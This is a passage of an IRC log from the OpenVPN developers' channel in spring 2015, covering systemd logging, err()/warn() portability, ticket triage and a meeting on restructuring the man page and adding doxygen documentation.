<@mattock1> and nobody noticed, because cron's failure emails went to local user "samuli" and those went to /dev/null as there was no mailalias 06:17 <@cron2> hehe :) 06:27 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 252 seconds] 06:29 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 06:29 -!- mode/#openvpn-devel [+o pekster] by ChanServ 06:30 <@mattock1> problem solved, now errors will go to me 06:30 <@mattock1> cron errors 06:34 * cron2 no errors today 06:41 <@plaisthos> is cron already be done by systemd or ist only in the near future? 06:43 <@dazo> plaisthos: systemd won't replace crond ... but it has already a 'timer' service included, which can function as a light weight cron 06:44 <@cron2> /nick systemd2 06:44 <@dazo> heh 06:44 <@plaisthos> hehe 06:44 <@dazo> http://www.freedesktop.org/software/systemd/man/systemd.timer.html 06:44 <@vpnHelper> Title: systemd.timer (at www.freedesktop.org) 06:44 <@plaisthos> on other note, my rpi2 now has raspian/jessie with systemd as daemon 06:45 <@dazo> hmmm ... curious what you will think of it once you've had it running for a bit 06:45 <@plaisthos> but it still has normal rsyslogd ... 06:46 <@dazo> yeah, if syslog is running, the journal doesn't restrict it ... but you'll have the journal in addition with far more details 06:49 <@plaisthos> I just did a dist-upgrade and hoped for the best ;) 06:49 <@dazo> what I like about the journal is that I can do: journal -b -u openvpn-client@work ... and I get only the openvpn log data from my last boot and only from a specific openvpn config (/etc/openvpn/client/work.conf) 06:50 <@dazo> (and there's lots of filters you can add too, to narrow down the log search) 06:51 <@plaisthos> you mean the 15 facilitys of syslog which include important as news, lpr, ftp and uucp are not up to date anymore? 06:51 <@plaisthos> blasphemy! 06:51 <@dazo> heh 06:51 <@cron2> we need to update syslogd to have a openvpn facility, of course 06:51 <@dazo> no, it's missing ovpn 06:51 <@dazo> ;-) 06:55 <@dazo> of course, for openvpn the journal doesn't bring that much extra .... but for init scripts (or systemd unit files) it can capture both stdout and stderr, which makes debugging services easier .... especially if you have a headless host (virtual machine, embedded device, etc) 06:56 <@dazo> openvpn does a fairly good job syslog ... but when running more tunnels on the same box, the @CONFIG feature is really neat ... in addition to that systemd tracks each instance separately ... not like the former init.d scripts where it would kick off all /etc/openvpn/*.conf files and hope for the best 06:57 <@dazo> systemd is far from perfect ... but I think it's a right step forward 07:02 -!- prelude2004c [~Prelude20@dsl-67-55-28-3.acanac.net] has quit [Ping timeout: 252 seconds] 07:20 <@mattock1> cron2: now the snapshot builder seems to work fine, and it puts the snapshots in here: http://build.openvpn.net/downloads/snapshots/ 07:20 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 07:20 <@mattock1> the latest snapshots were created by a cronjob-triggered build 08:13 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 248 seconds] 08:16 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 10:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:35 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 12:30 <@vpnHelper> RSS Update - tickets: #546: Access Server Initialization Script Fails when Admin Account Exists as a Group <https://community.openvpn.net/openvpn/ticket/546> 14:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 16:50 <@syzzer> wow, those hyphens are hard :/ 18:08 -!- dazo is now known as dazo_afk 18:11 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] 18:12 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] --- Day changed Thu Apr 30 2015 01:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:15 <@vpnHelper> RSS Update - gitrepo: explain effect of --topology subnet on --ifconfig <https://github.com/OpenVPN/openvpn/commit/3a840739e43acc5ea15814be08debb9dbb7ba67c> 03:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:21 -!- dazo_afk is now known as dazo 05:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: kernel upgrade] 05:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:38 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 256 seconds] 05:42 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:42 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:24 <@cron2> libtool confuses me 08:30 <@cron2> and why is down-root.c the only .c file in all our tree that uses err() and warn(), instead of sensible standard functions, like "fprintf()"? 08:31 <@plaisthos> probably third party being involved ... 08:41 <@plaisthos> I just acked your patch :( 09:16 <@syzzer> hmm, I actually like err() and warn()... 09:16 <@syzzer> that way I don't have to do all the errno stuff myself 09:18 <@syzzer> ah, yes, dazo's patch, my ack :') 09:21 <@dazo> cron2: iirc ... I was asked to move over to err()/warn() when going through some review ... see commit b0f2c521303b7bc 09:22 <@dazo> I don't recall now, but I believe I used fprint() with strerror() in my previous version of the patch 09:27 <@cron2> ok... so we need compat-err.c now... hrmph (AIX does not have err()/warn(), trac #495, #496) 09:27 <@dazo> Just looked at the err(3)/warn(3) man page ... "These functions are nonstandard BSD extensions" 09:28 <@dazo> so ... maybe, despite more platforms supports it ... we should kick it out due to being "non-standard"? 09:28 <@cron2> well, having compat-err.c would work for me 09:28 <@cron2> it does make the code nicer to read than fprintf(... strerror(errno)) 09:29 <@dazo> yeah, I think so too 09:29 <@cron2> I've taken the ticket, and AIX is my fault after all, so I'll cook up something :) 09:29 * dazo looks for his glibc source code ... to locate the err() and warn() functions 09:29 <@syzzer> whee, we can use err() and warn() \o/ 09:29 <@dazo> lol 09:30 <@cron2> syzzer: no you can't :-) 09:30 <@syzzer> :-( 09:30 <@cron2> inside openvpn, we have msg() which does all the good stuff already 09:30 <@syzzer> that's true 09:31 * cron2 is fighting with plugins... 09:32 * dazo forgot to take on his eye-cancer-protective-glasses before looking at glibc code ..... 09:33 <@dazo> http://fpaste.org/217216/04370143/ 09:33 <@dazo> (why does something that's fairly simple need to be done so complicated? ...) 09:34 <@cron2> "because we can, and hey, if we do it the simple way, nobody will notice how cool we are!" 09:34 <@dazo> heh 09:35 <@dazo> hmmm ... warn() and err() has a limit of 2000 bytes, it seems :p 09:36 <@cron2> only on wide terminals 09:37 <@dazo> :) 09:37 <@cron2> (which our compat version will not support, period9 09:46 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 245 seconds] 10:03 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 10:23 <@ecrist> cron2: I can't find an email from trac indicating you're waiting for feedback from me. 10:23 <@cron2> ecrist: mhh, let me check 10:23 * ecrist grumbles about dazo's employer 10:24 <@cron2> ecrist: fortunately, trac can search "by reporter" and you only have one open ticket :-) - https://community.openvpn.net/openvpn/ticket/521 10:24 <@vpnHelper> Title: #521 (When --disable is set for a client, the server never replies to the client.) – OpenVPN Community (at community.openvpn.net) 10:25 <@ecrist> oh, I'm the reporter 10:25 <@ecrist> you should have said that 10:25 <@cron2> well, you should have received an e-mail :) 10:26 <@ecrist> I like this better when it's your fault. :P 10:27 <@ecrist> ok, I'll test your suggestion tonight. 10:27 <@cron2> no suggestion, just curiosity, and wondering why I am not seeing this 10:27 <@ecrist> HOWEVER, $1 is the dynamic CCD file name that is passed to scripts 10:27 <@ecrist> so, it should be treated identically as if it were in a real CCD file 10:27 <@cron2> so I try to understand why you see "bad" behaviour, while I'm not 10:27 <@cron2> yes 10:28 * cron2 is in "understand the problem, then go searching for the broken bits of code" mode, and "understanding" comes first :) 10:28 <@ecrist> for sure. 10:28 <@ecrist> you can't duplicate the problem? 10:28 * cron2 didn't try with client-connect yet 10:29 <@cron2> I *do* use "disable" in ccd files, and have not seen the behaviour you describe, which confuses me... so either my systems know much better who is boss :) or client-connect really triggers some funny here 10:33 <@ecrist> I'll look at it tonight in my setup. The systems I was using are at home. (I'm at work) 10:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 10:54 <@dazo> ecrist: whazzup? 10:56 <@ecrist> I'm grumbling. The RedHat support folks seem incapable. 10:57 <@cron2> ecrist: I'm sure this is only because you refused to like systemd 10:57 <@dazo> :) 10:59 <@ecrist> lol 10:59 <@ecrist> I've been banished! 11:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 11:58 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:01 <@ecrist> mattock ping 13:01 <@ecrist> I'm getting certificate errors when I try to download openvpn from the website 14:02 <@plaisthos> Stuff I reimplemented: https://github.com/bbits/openvpn-utun 14:02 <@vpnHelper> Title: bbits/openvpn-utun · GitHub (at github.com) 14:03 <@cron2> plaisthos: mmmh, sounds like avoidable work 14:05 <@plaisthos> hm 14:06 <@plaisthos> just checked, my first patch (v2) by three months 14:06 <@plaisthos> v1 14:07 <@cron2> heh, your patch is far less intrusive :) 14:08 <@cron2> and I would have rejected the second patch (where they replace all usage of tt->fd with a new variable "fd" which is then assigned to tt->fd at the end...) :) 14:08 <@dazo> spam trojan found using clever tricks to execute on both Linux and BSD (the BSD details is hidden in the details in the whitepaper at the end of the article) http://www.welivesecurity.com/2015/04/29/unboxing-linuxmumblehard-muttering-spam-servers/ 14:09 <@vpnHelper> Title: Unboxing Linux/Mumblehard: Muttering spam from your servers (at www.welivesecurity.com) 14:10 <@cron2> ouch 15:17 -!- dazo is now known as dazo_afk 15:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 18:10 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 18:10 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:47 -!- Guest86751 is now known as s7r 22:20 <@ecrist> cron2: I've updated the ticket 22:21 <@ecrist> basically, ccd file behaves, when the dynamic ccd file (path passed as $1 to client-connect) is used, never ending loop --- Day changed Fri May 01 2015 04:28 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 06:10 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 06:11 -!- Guest86751 [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:26 <@cron2> ecrist: thanks for testing. This indeed explains why I've never seen it - and is totally bogus :) 08:34 <@ecrist> ? 11:35 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 12:54 -!- Guest86751 is now known as s7r 16:50 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 21:50 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 245 seconds] 21:51 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Sat May 02 2015 10:14 <@vpnHelper> RSS Update - tickets: #128: Connection errors / comp-lzo only working after reconnect <https://community.openvpn.net/openvpn/ticket/128> 10:55 <@cron2> so who is maintaining easy-rsa now? 10:55 <@cron2> there's trac #467... 11:02 <@vpnHelper> RSS Update - tickets: #467: Typographical inconsistency in easy-rsa <https://community.openvpn.net/openvpn/ticket/467> 11:10 <@cron2> .oO(and why is nobody telling me that half my buildbots are offline?) 11:10 <@plaisthos> cron2: YOUR BUILDBOTS ARE OFFLINE 11:10 <@plaisthos> (just guessing) 12:28 <@cron2> plaisthos: indeed, half of them are. "Something" (likely "a mattock") happened to the community vpn and all openvpn clients died... 13:49 <@vpnHelper> RSS Update - gitrepo: Remove size limit for files inlined in config <https://github.com/OpenVPN/openvpn/commit/e473b7c4ce41a450645e0f89579bc25b4a7f7d49> 13:49 <@syzzer> \o/ 13:49 * syzzer closes #484 13:50 <@cron2> haha 13:50 <@syzzer> darn, too late :p 13:50 <@cron2> you can't! 13:50 <@cron2> :) 13:51 * cron2 has moved from "here's a patch, please test and report back!" to "here's a patch, we consider it fixed, reopen if not" mode... these people hardly ever report back... 13:51 <@cron2> (480 and 481 otoh are waiting for mandree who must be on vacation or something) 13:52 <@syzzer> ah, but he usually *is* responsive, so that's fine 13:52 <@syzzer> there also this 'cipher none' ticket, I think we can close that one 13:52 <@syzzer> #473 13:53 <@cron2> yeah, go for it 14:15 <@syzzer> you're really on a roll, cron2 15:52 <@cron2> *g* - just a bit annoyed at the mass of open trac tickets, many of them fairly trivial... 16:01 <@vpnHelper> RSS Update - gitrepo: Add note about file permissions and --crl-verify to manpage. <https://github.com/OpenVPN/openvpn/commit/d55be0fb8091ff03af1319a27f68401d31ce8571> --- Day changed Sun May 03 2015 05:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:24 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:24 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 06:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 07:08 <@syzzer> so I got the in-reply-to headers correct, but screwed up the subject :') 07:48 <@vpnHelper> RSS Update - gitrepo: polarssl: remove code duplication in key_state_write_plaintext{, _const}() <https://github.com/OpenVPN/openvpn/commit/23b6ba6378bf3a3f5ceb828c8a4dd7cc38947d07> 13:32 <@cron2> syzzer: you can't remove the md5 functions... not after I had to fix a bug regarding (missing) md5init somewhere in PUSH_REPLY handlign! 13:35 <@plaisthos> cron2: ah the remote crash on semi broken connections :) 13:36 <@cron2> was that "last minute fix before 2.3.0" or something like that? I remember "it came in at a very inconvenient moment" :) 13:36 <@plaisthos> yeah 13:37 <@plaisthos> found by users forced to run 2.3-master on android :D 13:37 <@cron2> yeah, this definitely is way better than our buildbot farm :) 14:21 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 22:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 22:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Mon May 04 2015 00:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 02:07 <@syzzer> cron2: you'd rather keep them so you can perform such a fix again? ;) 02:08 <@syzzer> no, but seriously, do you think the wrappers are of value? 02:18 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:02 <@cron2> syzzer: tbh, I have not fully looked into the patch to see whether these are providing a real simplification or not - I was just complaining "because I can!" :-) 03:02 <@cron2> (and I assume the change makes sense, otherwise you wouldn't do it) 04:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:00 <@mattock1> so we're having a meeting today? 06:03 <@mattock1> ah, we have plenty of topics: https://community.openvpn.net/openvpn/wiki/Topics-2015-05-04 06:03 <@vpnHelper> Title: Topics-2015-05-04 – OpenVPN Community (at community.openvpn.net) 06:07 -!- dazo_afk is now known as dazo 08:03 <@cron2> mattock1: re #445 - you might request reverse DNS from he.net as well for the v6 address - mail tends to go out via v6 more and more :) 08:06 <@mattock1> oh yes 08:06 <@mattock1> I'll do that 09:14 <@vpnHelper> RSS Update - tickets: #547: OpenVPN Client conflicts with Cisco AnyConnect Secure Mobility Client on Windows 7 <https://community.openvpn.net/openvpn/ticket/547> 11:27 * dazo wonders if inline pkcs12 files is broken nowadays :/ 11:27 <@dazo> (testing on 2.3.6) 12:03 <@pekster> cron2: 2.x is pretty much dead. Things might get fixed if there's a patch, but otherwise it'll mostly remain ignored 12:22 <@cron2> dazo: it shouldn't be... 12:24 <@dazo> cron2: I'll run a few other tests to see, might be 'base64' did something wrong 13:01 <@mattock1> meeting time 13:03 <@mattock1> who do we have here today? 13:03 * cron2 is here, but might need to run away suddenly (kid not feeling well) 13:05 <@cron2> pekster: in that case, just close the ticket. Report has been addressed, done \o/ - I just wanted to make sure we do not just ignore our trac tickets (more than we already do) 13:05 <@cron2> mattock1: I think syzzer mentioned that he'll be 30 minutes late 13:06 <@mattock1> yeah, I think that was the case 13:06 * dazo is here too ... but need to pay attention on a few things in parallel 13:06 <@mattock1> hi dazo! 13:07 <@dazo> hey :) 13:07 <@mattock1> maybe we'll start with "OpenVPN Connect" tickets thing 13:07 <@mattock1> so I closed about 25% of them 13:07 <@mattock1> today 13:07 <@mattock1> the rest may be valid and have been assigned to james 13:08 <@mattock1> I also created a custom query (https://community.openvpn.net/openvpn/report/18) which lists Access Server and OpenVPN Connect tickets 13:08 <@vpnHelper> Title: OpenVPN Technologies, Inc products – OpenVPN Community (at community.openvpn.net) 13:08 <@mattock1> on top of that I emailed about this topic to our internal dev list 13:08 <@dazo> great! 13:09 <@mattock1> however I don't expect james to jump in immediately and fix everything :P 13:09 <@mattock1> but I'll make sure he remembers that there are tickets in Trac also 13:09 <@mattock1> anything else we can / want to do about those tickets? 13:10 <@dazo> "we" (as the community) can't do much more on stuff which is closed anyhow 13:10 <@cron2> mattock1: I thinkt hat's all we ("not openvpn tech") can ask for right now - "someone looking at them, and eventually addressing them" 13:11 <@cron2> it just doesn't feel right to have them sitting in our ticket system and ignoring them 13:11 <@mattock1> yeah, I agree 13:11 <@dazo> +1 13:11 <@mattock1> for the most part James is the only person who could solve those 13:12 <@mattock1> other people can weed out the obviously useless ones as they come in 13:12 <@mattock1> ok, man-page next? 13:12 <@cron2> yep 13:13 <@mattock1> so one idea would be to split the man-page into smaller pieces? 13:13 <@cron2> I think we need to split the manpage into "how to run openvpn", "some basic example configuration" and "the reference manual" 13:13 <@cron2> maybe split further into "client side options" and "ALL the options" 13:13 <@cron2> but I'm not a very good technical writer 13:14 <@cron2> (and *then* we need to actually fix omissions, remove references to "this has been added to 2.1!" and stuff like that) 13:14 <@mattock1> is the man-page clearly divided into the said segments already? 13:14 <@dazo> I've been thinking about the same as well 13:15 <@cron2> mattock1: right now, it's really "the reference manual" 13:15 <@dazo> well, it is divided ... but man pages isn't easy to search in if you don't know what you search for .... try searching for "client" or "server" 13:15 <@dazo> but using the current man page as a reference manual, then it fits the bill quite fine 13:15 <@dazo> (as cron2 says) 13:16 <@cron2> it has EXAMPLEs at the end, which could be split out 13:16 <@mattock1> so we would need to add content for "how to use openvpn" and "example configurations" 13:16 <@mattock1> this is something we should probably ask our users to help with 13:16 <@mattock1> and get somebody like jjk to proof-read the new content 13:17 <@dazo> as a reference point ... have a look at the (okay, this might be controversial) ... the systemd man pages 13:17 <@cron2> maybe split out "SCRIPTING AND ENVIRONMENTAL VARIABLES" as well 13:17 <@dazo> the "entry points" are fairly straight forward ... with a "SEE ALSO" section which points you further 13:17 <@cron2> yep 13:17 <@mattock1> dazo: do you have a convinient entrypoint for the systemd man-pages? 13:17 <@mattock1> like a link 13:18 <@dazo> just a sec 13:18 <@dazo> http://www.freedesktop.org/software/systemd/man/systemd.html 13:18 <@vpnHelper> Title: systemd (at www.freedesktop.org) 13:20 <@dazo> sssd is another example .... http://linux.die.net/man/8/sssd 13:20 <@vpnHelper> Title: sssd(8): System Security Services Daemon - Linux man page (at linux.die.net) 13:23 <@cron2> yeah, something like this - have the most important options and "typical invocations" right there, point to detail pages 13:28 <@mattock1> so a simplified "typical usage" man-page on top of the reference manual? 13:32 <@cron2> not "on top", separate pages, so you know where to look for stuff - right now it's just an enormous heap 13:32 <@mattock1> I did not mean literally "on top" :) 13:32 <@mattock1> a separate page of course 13:33 <@mattock1> so two pages at least: "reference manual", "usage summary"? 13:33 <@mattock1> would the "usage summary " contain the example configurations and HOWTO-type content? 13:35 * syzzer reporting in 13:35 <@cron2> I'd move that to a separate file, with somewhat complete (typical) client and server cofnig files 13:35 <@mattock1> hi syzzer! 13:36 <@mattock1> cron2: so "reference manual", "usage summary", "howto and example configurations"? 13:37 <@mattock1> syzzer: we're painting a bikeshed here :D 13:37 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-05-04 13:37 <@vpnHelper> Title: Topics-2015-05-04 – OpenVPN Community (at community.openvpn.net) 13:37 <@cron2> indeed we are :-) - but I'm open for other ideas how to improve findability of information... 13:38 <@syzzer> I noticed - so far I don't feel I want another color, so I'll let you get to it ;) 13:38 <@mattock1> I personally think that the current HOWTO could be migrated to a man-page 13:38 <@mattock1> why would we have to go to a website to read basic info on openvpn? 13:38 <@mattock1> opinions? 13:39 <@cron2> ack 13:39 <@dazo> mattock1: please check the sssd man pages, how things are grouped there ... I think a similar approach will be beneficial for openvpn too 13:39 <@syzzer> (on a different note - for when this bike shed has been painted - I *would* like to get our doxygen online somewhere) 13:39 <@mattock1> dazo: yeah, I had a brief look 13:39 <@mattock1> syzzer: +1 13:40 <@mattock1> doxygen generates static HTML pages, right? 13:40 <@dazo> sssd man page is basica usage of sssd .... sssd.conf is the config file .... ssssd-ldap gives more details on configuring that particular part of sssd 13:40 <@syzzer> mattock1: yes 13:40 <@mattock1> syzzer: I could fairly easy put the pages to, say, build.openvpn.net 13:40 <@syzzer> re howto: yes, into the man pages. imo, the more we can get into git, the better. just find a way to also make the information available on the web. 13:40 <@mattock1> just let me know how to build/update the pages and I'll make it happen 13:41 <@mattock1> syzzer: yep, both man and web 13:41 <@syzzer> doxygen doc/doxygen/openvpn.doxyfile (iirc) 13:41 <@mattock1> dazo: we can take sssd as a starting point and see if that could work 13:41 <@mattock1> syzzer: ok 13:42 <@cron2> the doxygen pages, especially if you include call graphs, are amazing 13:42 <@dazo> +1 13:43 <@dazo> side track: should we consider that all new functions included into openvpn should have doxygen documentation blocks? 13:43 <@dazo> (as part of our coding style) 13:45 <@syzzer> dazo: all might be a bit too much. I would say all 'external' functions for now. But yes, I've been adding a lot of doxygen in my patches already, and pushing others in reviews a bit too. So I'm definitely in favour of more doxygen. 13:45 <@syzzer> (external here meaning stuff in header files) 13:46 <@dazo> syzzer: fair enough ... "simple and darn obvious functions" might not need it as much ... but the more we document, the easier it might be to understand the code ... at least "this function does ta-da" 13:46 <@syzzer> ack 13:47 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:47 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 13:50 <@syzzer> so we have consensus on the man approach iiuc. how do we move forward? 13:51 <@mattock1> syzzer: I'd say we take a closer look at how to split the stuff + what we need to add 13:51 <@mattock1> and define who is "we" 13:51 <@mattock1> perhaps starting with a review of current documentation (web, man-page, etc) should come first? 13:53 <@mattock1> then I would ask for volunteers from the community... this would be good place for non-coders to help 13:53 <@mattock1> then we'd need openvpn gurus like jjk to review the new content at minimum 13:54 <@dazo> why not try to involve jjk from the start ... not that he will do all the work, but propose what to change and review other contributions? 13:54 <@mattock1> dazo: fine by me 13:55 <@mattock1> if we're lucky, he'll rewrite the whole thing in a few days :D 13:55 <@dazo> heh ... wishful thinking indeed ;-) 13:56 <@mattock1> this project will be mentioned in the summary, but I can also send a separate emails to openvpn-users and openvpn-devel explaining What, Why, How we are doing and ask for volunteers 13:58 <@dazo> makes sense 13:59 <@syzzer> mattock1: yes, explicitly asking for help is a good idea 14:00 <@mattock2> ok, shall we move on? 14:00 <@cron2> oh noes, what did we do? instead of having a nice bikeshed, we now have duplicated mattock! 14:00 <@cron2> yes, go on :) 14:00 <@mattock2> I switch to another laptop :P 14:00 <@mattock2> ed 14:01 <@syzzer> :') 14:01 <@mattock2> next topic: tickets with no milestone? 14:02 * cron2 sees noone that would give a suitable volunteer 14:04 <@dazo> mattock2: you got a query handy? 14:04 <@mattock2> I can craft one 14:04 <@mattock2> nothing at hand 14:04 <@dazo> https://community.openvpn.net/openvpn/report/3 lists all the ones without milestone first 14:04 <@vpnHelper> Title: {3} Active Tickets by Milestone – OpenVPN Community (at community.openvpn.net) 14:05 <@cron2> barley 200 or so 14:05 <@cron2> barely 14:05 <@mattock2> https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&milestone=&col=id&col=summary&col=status&col=type&col=priority&col=milestone&col=component&order=priority 14:05 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 14:05 <@mattock2> there's a complete list 14:06 <@mattock2> uh yes, plenty 14:08 <@cron2> many of those do not actually warrant a milestone unless someone has decided what to do with it, like "notabug" or "OpenVPN Connect" or "too complex for 2.3" or so... 14:10 <@mattock2> I can start reviewing those at some reasonable rate 14:10 <@mattock2> like 5 tickets per working day 14:11 <@mattock2> or 10 14:11 <@mattock2> any other takers? 14:11 <@cron2> I think "5" would be a good starting point - many of those will then end up with me anyway (I'm afraid) to decide on code questions... 14:13 <@mattock2> so "start reviewing the tickets with no milestone" 14:13 <@mattock2> next topic? 14:13 <@dazo> yupp! 14:13 <@mattock2> 2.3.7? 14:13 <@cron2> yep - "review the tickets *with* milestone" :) 14:13 <@mattock2> review now? 14:13 <@cron2> two are easy - #480, #481 are waiting for feedback from the FreeBSD camp, seems m-a is on vacation 14:15 <@mattock2> https://community.openvpn.net/openvpn/ticket/93 is waiting for a patch 14:15 <@vpnHelper> Title: #93 ("up-restart" incomplete environment variables) – OpenVPN Community (at community.openvpn.net) 14:15 <@cron2> syzzer: I wonder why #524 is set to "version: 2.3.6" if 2.3 doesn't even link to polar 1.3 14:15 <@cron2> syzzer: bump to "git master" and "milestone 2.4"? 14:15 <@syzzer> cron2: good point. yes. 14:15 <@cron2> you or I? 14:16 <@syzzer> the openwrt guys probably back ported the polar-1.3 patches to 2.3 14:16 <@syzzer> I'll do it 14:16 <@cron2> whee... (but then, just paste the patch for them to backport another one :) ) 14:17 <@cron2> yeah, #93 is waiting for "someone to code this"... 14:17 <@syzzer> exactly :) just sent the patch to the list for review/ack 14:19 <@cron2> ok, maybe let's ask the question about the 2.3.7 trac tickets a bit differently 14:20 <@cron2> I think open tickets with "analysis and/or code patches needed" should be classified today as "we want this fixed in 2.3.7" and "not so important, someone can send a patch, or cron2^Wsomeone will be volunteered to fix it in 2.3.8" 14:20 <@cron2> #480, #481 are definitely "2.3.7" material (patch exists, just waiting for ACK) 14:20 <@cron2> #93 feels like "2.3.8" - workaround exists, nobody yells "I WANT TO FIX THIS!!" 14:21 <@cron2> (embarrassing enough, #93 started out with milestone 2.3.3...) 14:21 <@dazo> #93 can be an easy fix ... but can also be a complicated one, depending on where these variables are set initially 14:22 <@cron2> true, but without someone volunteering to look into it, we can't say 14:22 <@dazo> agreed ... if I would have had time ..... 14:22 <@cron2> "samuli to poke janjust"? 14:23 <@mattock2> I can poke, sure 14:24 <@mattock2> hmm, this one is for openvpn-gui: https://community.openvpn.net/openvpn/ticket/384 14:24 <@vpnHelper> Title: #384 (OpenVPN-GUI : password defaults to RTL (right-to-left)) – OpenVPN Community (at community.openvpn.net) 14:25 <@cron2> does anyone have commit rights except d12fk? And can code windows stuff? 14:25 <@mattock2> no to both counts 14:26 <@mattock2> commit rights we could probably get 14:26 <@syzzer> the horrors of localization... 14:27 <@syzzer> but no, I don't dare to touch the windows stuff 14:28 <@mattock2> we'd also need new builds of openvpn-gui for 2.4 14:28 <@mattock2> and the interactive service :P 14:28 <@mattock2> anyways, I don't think #384 will get into 2.3.7 14:29 <@mattock2> 2.4 maybe 14:29 <@cron2> it's a bug, so it should go into "as soon as possible", but whenever that might be... bumping to 2.3.8 14:29 <@mattock2> ok 14:30 <@syzzer> now #461 looks interesting 14:30 <@mattock2> ah, that one 14:31 <@cron2> that one should actually be fairly trivial 14:31 * cron2 points at himself 14:32 <@mattock2> "Owned by" also points at cron2 14:32 <@cron2> (read: a) do not set defaults on non-windows, b) document the change) 14:33 <@cron2> well, actually "*do* set the default on windows, do *not* set it on Linux, document" 14:34 <@cron2> well, next :) 14:35 <@mattock2> the windows note in #461 is rather old: 2004.07.27 -- Version 2.0-beta8 14:35 <@mattock2> is it still valid? 14:36 <@cron2> might be a win 2000 or xp thing... 14:36 <@syzzer> jjk was testing in munich and got good results from increasing sndbuf/rcvbuf iirc 14:36 <@syzzer> at least he should have up-to-date info on the windows behaviour 14:37 <@cron2> yeah 14:41 <@mattock2> so cron2 will take care of #461? 14:41 <@cron2> yep 14:41 <@mattock2> is it safe to include in 2.3.7? 14:41 <@cron2> the "do not change linux" yes, the "do change windows" maybe nt 14:41 <@cron2> not 14:42 <@mattock2> milestone 2.4? 14:42 <@cron2> leave it at 2.3.7 for the "do not change linux and document" bit, then I'll bump it to 2.4 14:42 <@mattock2> ok, fine by me 14:43 <@mattock2> https://community.openvpn.net/openvpn/ticket/481 seems to have been fixed, but is there an ACK? 14:43 <@vpnHelper> Title: #481 (FreeBSD topo subnet self-route not via loopback interface?) – OpenVPN Community (at community.openvpn.net) 14:43 <@cron2> 481 is waiting for m-a, next :) 14:44 <@cron2> someone could volunteer to test #233 and form that heap of "this and that does not work" into a list of actual and reproduceable issues where 2.3 differs from 2.2 ... 14:45 <@mattock2> https://community.openvpn.net/openvpn/ticket/128 is waiting for dazo probably 14:45 <@vpnHelper> Title: #128 (Connection errors / comp-lzo only working after reconnect) – OpenVPN Community (at community.openvpn.net) 14:46 <@dazo> mattock2: no, not really 14:46 <@mattock2> testing? 14:46 <@cron2> mattock2: can you do some tap-on-windows-client testing with 2.2 and 2.3 ("tap mode", not tun mode) and see whether #233 makes any sense? 14:47 <@dazo> mattock2: I can try to do some tests ... 2.3 code-base will still have this bug, I'm 